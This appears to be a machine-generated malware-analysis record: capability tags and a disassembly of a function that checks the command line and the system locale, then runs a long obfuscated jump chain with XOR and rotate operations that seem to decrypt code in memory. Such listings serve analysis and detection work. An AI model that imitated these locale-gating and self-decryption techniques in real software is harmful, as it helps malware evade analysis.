Function at 0x401000
Capabilities:
Accept command line arguments
Identify system language via api

Disassembly:
call sub.kernel32.dll_GetCommandLineW
cmp eax, 0xfffffee1
jne 0x401016
call sub.ntdll.dll_RtlIsTextUnicode
ret
call sub.kernel32.dll_GetUserDefaultUILanguage
cmp eax, 0xffffff26
jne 0x40102c
call sub.ntdll.dll_RtlIsTextUnicode
ret
call sub.kernel32.dll_GetThreadLocale
cmp eax, 0xffffff34
jne 0x401042
call sub.ws2_32.dll_WSCWriteNameSpaceOrder
ret
jmp 0x517db6
jmp 0x5180f3
call ecx
jmp 0x517dca
rol dword [ecx], 0x1d
jmp loc.00518551
pop ecx
jmp 0x517ed0
push 0x16aad1a
jmp 0x518708
push 0x183bfd3
jmp 0x518328
push 0x16eef09
jmp 0x5180b9
pop ecx
jmp 0x517e58
push 0x16b3985
jmp 0x518754
push 0x16f79e3
jmp 0x518224
pop ecx
jmp 0x518489
call fcn.005187e5
jmp 0x5183f0
push 0x1760b97
jmp 0x51848f
mov ecx, 0x3f4d7907
jmp 0x51861e
call fcn.005187e5
jmp 0x517efe
pop ecx
jmp 0x518185
call ecx
jmp 0x518091
call fcn.005187e5
jmp 0x51818b
pop ecx
jmp 0x517f99
mov ecx, 0x3f4d7907
jmp 0x517e9c
push 0x16a622e
jmp 0x517dd0
call ecx
jmp 0x518051
call fcn.005187e5
jmp 0x517f88
push esp
jmp 0x518332
call fcn.005187e5
jmp 0x517e89
pop ecx
jmp 0x5187db
push 0x17ca30f
jmp 0x518732
rol dword [ecx], 3
jmp 0x5183b4
call fcn.005187e5
jmp 0x518641
pop ecx
jmp 0x5181e0
call ecx
jmp 0x517fa3
push 0x18536b5
jmp 0x517ee0
push 0x18190f6
jmp 0x5184e7
pop ecx
jmp 0x5186c6
mov ecx, 0x4132136a
jmp 0x5183e6
push 0x1169b6
jmp 0x5181bd
pop ecx
jmp 0x517f49
push 0x176dc1c
jmp 0x51814a
pop ecx
jmp 0x5180dc
pop ecx
jmp 0x517fd3
push 0x18396a4
jmp 0x517de1
call ecx
jmp 0x5185d4
call ecx
jmp 0x517e83
pop ecx
jmp 0x5185ac
push 0x40
jmp 0x51800d
push 0x16f32e5
jmp 0x517e1c
pop ecx
jmp 0x51851a
call ecx
jmp 0x5185e4
push 0x168dc60
jmp 0x517e62
mov ecx, 0x3f4d7907
jmp 0x517f39
pop ecx
jmp 0x51826a
call fcn.005187e5
jmp 0x518540
mov ecx, 0x123b2f04
jmp 0x5185a2
xor dword [ecx], 0xc32dd2
jmp 0x51839f
mov ecx, 0x123b2f04
jmp 0x5184c7
pop ecx
jmp 0x518264
call ecx
jmp 0x518742
push 0x401400
jmp 0x5187ca
push 0x17a9879
jmp 0x518171
call fcn.005187e5
jmp 0x51847c
xor dword [ecx], 0xc32e95
jmp 0x518323
push 0x16fc56f
jmp 0x51811a
pop ecx
jmp 0x518526
pop ecx
jmp 0x5186f2
push 0x17c5a34
jmp 0x517f4f
pop ecx
jmp 0x5186fc
push 0x16d8228
jmp 0x5183dc
pop ecx
jmp 0x518790
call ecx
jmp 0x5182ad
push 0x1806b2d
jmp 0x5182fb
mov ecx, 0x123b2f04
jmp 0x517e44
push 0x184e353
jmp 0x518361
push 0x1809340
jmp 0x5186bc
pop ecx
jmp 0x51876e
jmp 0x517dc2
mov ecx, 0x3f4d7907
jmp 0x5181ea
push esp
jmp 0x518097
call fcn.005187e5
jmp 0x5182bd
push 0x1850cd5
jmp 0x517f8f
jmp 0x517f5f
push 0x1769b36
jmp 0x51801d
xor dword [ecx], 0xc32e79
jmp 0x5181fa
mov ecx, 0x3f4d7907
jmp 0x5186a2
call fcn.005187e5
jmp 0x517f0f
call ecx
jmp 0x518069
call ecx
jmp 0x518633
xor eax, eax
jmp 0x51815c
call ecx
jmp 0x517e32
pop ecx
jmp 0x518520
push 0x176519b
jmp 0x5183a4
call fcn.005187e5
jmp 0x5183f7
push 0x17ef37a
jmp 0x518502
push 0x181ba31
jmp 0x518796
mov ecx, 0x3f4d7907
jmp 0x518357
pop ecx
jmp 0x518691
pop ecx
jmp 0x5182ea
pop ecx
jmp 0x5186b2
call ecx
jmp 0x517f82
mov ecx, 0x401400
jmp 0x518432
push 0x17c0a3a
jmp 0x51828d
call fcn.005187e5
jmp 0x51808a
pop ecx
jmp 0x51813a
pop ecx
jmp 0x517deb
pop ecx
jmp 0x517eea
mov ecx, 0x3f4d7907
jmp 0x518140
call fcn.005187e5
jmp 0x5180ec
pop ecx
jmp 0x518568
call ecx
jmp 0x518017
call fcn.005187e5
jmp 0x517dbb
push 0x17eab8e
jmp 0x5184d1
call fcn.005187e5
jmp 0x518083
push 0x1792650
jmp 0x518614
mov ecx, 0x3f4d7907
jmp 0x51866f
pop ecx
jmp 0x518297
push 0x1721121
jmp 0x5182e0
pop ecx
jmp 0x5182a3
push 0x16af59e
jmp 0x517e12
mov ecx, 0x3f4d7907
jmp 0x517e6c
pop ecx
jmp 0x51830b
mov ecx, 0x3f4d7907
jmp 0x517f05
pop ecx
jmp 0x518547
pop ecx
jmp 0x5182c4
mov ecx, 0x123b2f04
jmp 0x517f6e
call ecx
jmp 0x517dfb
push 0x1836d3c
jmp 0x51806f